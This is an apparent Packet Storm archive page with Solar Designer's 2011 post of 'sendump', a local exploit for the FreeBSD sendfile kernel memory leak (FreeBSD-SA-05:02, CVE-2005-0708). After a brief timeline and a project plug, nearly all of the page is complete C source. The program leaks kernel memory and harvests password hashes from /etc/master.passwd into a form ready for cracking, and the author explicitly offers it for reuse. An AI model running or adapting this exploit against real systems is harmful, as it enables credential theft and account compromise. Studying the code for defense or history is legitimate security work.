what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

FreeBSD-SA-05:02.sendfile Exploit

FreeBSD-SA-05:02.sendfile Exploit
Posted Apr 1, 2011
Authored by Solar Designer

FreeBSD sendfile exploit that dumps password hashes to stdout.

tags | exploit
systems | freebsd
advisories | CVE-2005-0708
SHA-256 | f71653ab6e8d1fce31b24940aeaf94c9eb51feb74b98eb76e0d2d78d4969c5ee

FreeBSD-SA-05:02.sendfile Exploit

Change Mirror Download
Hi,

This is almost 0-day. In a sense.

I wrote this for a pentesting company. I found it ethically OK to do
since the FreeBSD advisory was already out for a couple of weeks.
It turns out I was not alone to write an exploit for this bug, and to
publish the exploit this year.

Timeline:

2005/04/04 - FreeBSD-SA-05:02.sendfile published:
http://security.freebsd.org/advisories/FreeBSD-SA-05:02.sendfile.asc

2005/04/16 - reliable FreeBSD 4.x local exploit written ...

2005/04/21 - ... and updated to work on 5.x as well (up to 5.3)

2011/02/05 - Kingcope publishes "FreeBSD <= 5.4-RELEASE ftpd (Version
6.00LS) sendfile kernel mem-leak Exploit":
http://seclists.org/fulldisclosure/2011/Feb/83
(By the way, the "<=" is wrong.)

2011/04/01 - Hey, that's today.

<plug>
Openwall is participating in Google Summer of Code 2011. Applications
from students and mentors are currently accepted. And this is no joke.
Besides Owl and JtR tasks (for which we're already seeing a competition
among students), we have a number of reasonably crazy ideas that a
student could work on. Please take a look. Although our "capacity" for
GSoC 2011 is quite limited, some of these may be worked on outside of
GSoC as well.

http://www.google-melange.com/gsoc/org/google/gsoc2011/openwall
http://openwall.info/wiki/ideas
</plug>

--- sendump.c ---
/*
* sendump - FreeBSD-SA-05:02.sendfile exploit - 2005/04/16.
* Updated for FreeBSD 5.x, added alternate hash types, added optional
* relaxed pattern matching - 2005/04/21.
*
* This program is meant to be used in controlled environments only.
* If found in the wild, please return to ... wait, this is public now,
* and this program is hereby placed in the public domain. Feel free to
* reuse parts of the source code, etc.
*
* Password hashes will be dumped to stdout as they're being obtained.
* There may be duplicates.
*
* Debugging may be enabled with one to three "-d" flags. Debugging
* information will be dumped to stderr and, for levels 2 and 3, to
* the "dump" file.
*
* Relaxed pattern matching may be enabled with "-r". This increases
* the likelihood of printing garbage while also making it more likely
* to actually catch the hashes.
*
* There's some risk of this program crashing the (vulnerable) system,
* although this is not intentional. Normally, the program just prints
* password hashes from /etc/master.passwd in a format directly usable
* with John the Ripper.
*
* Compile/link with "gcc -Wall -O2 -fomit-frame-pointer -s -lutil".
*
* Run this on a filesystem with soft-updates for best results.
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <signal.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pwd.h>
#include <errno.h>
#include <assert.h>

/* for forkpty(); will also need to link against -lutil */
#include <sys/ioctl.h>
#include <termios.h>
#include <libutil.h>

#define Ki 1024
#define Mi (1024 * Ki)

#define DUMP_NAME "dump"

#define DUMMY_NAME "dummy"
#define DUMMY_SIZE (128 * Mi)
#define SOCKET_BUF (196 * Ki)

#define DUMMY_RAND_BITS 4
#define DUMMY_RAND_MASK ((1 << DUMMY_RAND_BITS) - 1)

#define MAX_LOGIN 16
#define MAX_GECOS 128
#define MAX_HOME 128
#define MAX_SHELL 128

static char itoa64[64] =
"./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

static int debug = 0, relaxed = 0;
static char buf[SOCKET_BUF];

static void pexit(char *what)
{
perror(what);
exit(1);
}

static void write_loop(int fd, char *buf, int count)
{
int offset, block;

offset = 0;
while (count > 0) {
block = write(fd, &buf[offset], count);
if (block < 0) pexit("write");
if (!block) {
fprintf(stderr, "write: Returned 0\n");
exit(1);
}

offset += block;
count -= block;
}
}

static void dump(char *buf, int count)
{
static int fd = -1;

if (fd < 0) {
fd = creat(DUMP_NAME, S_IRUSR | S_IWUSR);
if (fd < 0) pexit("creat");
}
write_loop(fd, buf, count);
}

static int nonzero(char *buf, int count)
{
char *p, *end;

p = buf;
end = buf + count;
while (p < end)
if (*p++) return 1;

return 0;
}

static int search(char *buf, int count)
{
static char prevuser[MAX_LOGIN + 1], prevpass[61];
char *p, *q, *end;
int n;
char *user, *pass, *gecos, *home, *shell;
struct passwd *pw;
int found = 0;

p = buf;
end = buf + count;
while (p < end && (p = memchr(p, '/', end - p))) {
q = p++;
if (q < buf + (1+1+1+13+2+0+1+1+1)) continue;
shell = q;
n = 0;
while (q < end && *q++ > ' ') n++;
if (n < 2 || n > MAX_SHELL) continue;
if (q >= end || *q != '\0') continue;
q = shell;
if (*--q != '\0') continue;
n = 0;
while (q > buf && *--q > ' ') n++;
if (n < 1 || n > MAX_HOME) continue;
home = q + 1;
if (!relaxed && *home != '/') continue;
if (q < buf + (1+1+1+13+2+0+1)) continue;
if (*q != '\0') continue;
n = 0;
while (q > buf && *--q >= ' ') n++;
if (n > MAX_GECOS) continue;
gecos = q + 1;
if (q < buf + (1+1+1+13+2-1)) continue;
if (*q != '\0') continue;
n = 1;
while (q > buf && *--q == '\0') n++;
if (n != 2 || !memchr(itoa64, *q, 64)) {
/* Doesn't look like FreeBSD 4.x, suspect 5.x */
if (*(q + n - 13) == '\0' &&
memchr(itoa64, *(q + n - 14), 64))
/* Looks like FreeBSD 5.x */
q += n - 14;
else
if (!relaxed) continue;
}
q++;
n = 0;
while (q > buf && memchr(itoa64, *--q, 64)) n++;
switch (n) {
case 22:
/* MD5-based */
if (q < buf + (1+1+1+3+1+1-1)) continue;
if (*q != '$') continue;
n = 0;
while (q > buf && memchr(itoa64, *--q, 64)) n++;
if (n < 1 || n > 8) continue;
if (q < buf + (1+1+1+3-1)) continue;
if (*q != '$') continue;
if (*--q != '1') continue;
if (*--q != '$') continue;
break;
case 13:
/* Traditional DES-based */
q++;
break;
case 53:
/* bcrypt */
if (*q != '$') continue;
q--;
if (*q < '0' || *q > '9') continue;
q--;
if (*q < '0' || *q > '3') continue;
if (*--q != '$') continue;
if (*--q != 'a') continue;
if (*--q != '2') continue;
if (*--q != '$') continue;
break;
case 19:
/* Extended DES-based */
if (*q == '_') break;
default:
continue;
}
pass = q;
if (q < buf + (1+1+1)) continue;
if (*--q == '*' && q >= buf + (1+1+1+8)) {
q -= 7;
if (memcmp(q, "*LOCKED", 7)) continue;
pass = q;
q--;
}
if (*q != '\0') continue;
n = 0;
while (q > buf && *--q >= '0') n++;
if (n < 1 || n > MAX_LOGIN || q <= buf) continue;
user = q + 1;

pw = getpwnam(user);
if (!relaxed && !pw) continue;

found = 1;

if (!strcmp(user, prevuser) && !strcmp(pass, prevpass))
continue;

strcpy(prevuser, user);
strcpy(prevpass, pass);

if (pw)
printf("%s:%s:%u:%u:%s:%s:%s\n",
user, pass,
pw->pw_uid, pw->pw_gid, gecos, home, shell);
else
printf("%s:%s:?:?:%s:%s:%s\n",
user, pass, gecos, home, shell);
}

return found;
}

static void exec_passwd(void)
{
int tty, pid;

switch ((pid = forkpty(&tty, NULL, NULL, NULL))) {
case -1:
pexit("forkpty");

case 0:
execl("/usr/bin/passwd", "passwd", NULL);
pexit("execl");
}

write_loop(tty, "\n", 1);
close(tty);

if (kill(pid, SIGKILL) && errno != ESRCH) perror("kill");
if (waitpid(pid, NULL, 0) < 0) pexit("waitpid");
}

static void usage(void)
{
extern char *__progname;

fprintf(stderr, "Usage: %s [-d[d[d]]] [-r]\n", __progname);
exit(1);
}

static void tune(int argc, char **argv)
{
int c;

while ((c = getopt(argc, argv, "dr")) != -1) {
switch (c) {
case 'd':
debug++;
break;
case 'r':
relaxed++;
break;
default:
usage();
}
}
if (argc != optind) usage();
}

int main(int argc, char **argv)
{
int dummy, lin, in, out;
int pid;
struct sockaddr_in sin;
socklen_t sin_length;
int optval;
off_t dummy_size;
int count;

tune(argc, argv);

dummy = open(DUMMY_NAME, O_CREAT | O_TRUNC | O_RDWR, S_IRUSR | S_IWUSR);
if (dummy < 0) pexit("open");

if (unlink(DUMMY_NAME)) pexit("unlink");

lin = socket(PF_INET, SOCK_STREAM, 0);
if (lin < 0) pexit("socket");

if (listen(lin, 1)) pexit("listen");

sin_length = sizeof(sin);
if (getsockname(lin, (struct sockaddr *)&sin, &sin_length))
pexit("getsockname");
assert(sin_length == sizeof(sin));

more:
exec_passwd();

dummy_size = DUMMY_SIZE >> ((rand() >> 16) & DUMMY_RAND_MASK);
if (ftruncate(dummy, dummy_size)) pexit("ftruncate");

switch ((pid = fork())) {
case -1:
pexit("fork");

case 0:
out = socket(PF_INET, SOCK_STREAM, 0);
if (out < 0) pexit("socket");

if (connect(out, (struct sockaddr *)&sin, sin_length))
pexit("connect");

if (sendfile(dummy, out, 0, DUMMY_SIZE, NULL, NULL, 0))
pexit("sendfile");

return 0;
}

in = accept(lin, NULL, NULL);
if (in < 0) pexit("accept");

optval = SOCKET_BUF;
if (setsockopt(in, SOL_SOCKET, SO_RCVBUF, &optval, sizeof(optval)))
perror("setsockopt");

if (ftruncate(dummy, 0)) pexit("ftruncate");

do {
count = read(in, buf, sizeof(buf));
if (count < 0) pexit("read");

if (debug >= 3) {
if (nonzero(buf, count)) {
fprintf(stderr, "NZ (%d)\n", count);
dump(buf, count);
search(buf, count);
} else
fprintf(stderr, "Z (%d)\n", count);
} else {
if (search(buf, count)) {
if (debug) fputc('$', stderr);
if (debug >= 2)
dump(buf, count);
} else
if (debug)
fputc(nonzero(buf, count) ? '+' : '-', stderr);
}
} while (count);

if (debug) {
if (debug < 3)
fputc('|', stderr);
else
fputs("---\n", stderr);
}

if (kill(pid, SIGKILL) && errno != ESRCH) perror("kill");
if (waitpid(pid, NULL, 0) < 0) pexit("waitpid");

close(in);

fflush(stdout);

goto more;
}
---

Alexander
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close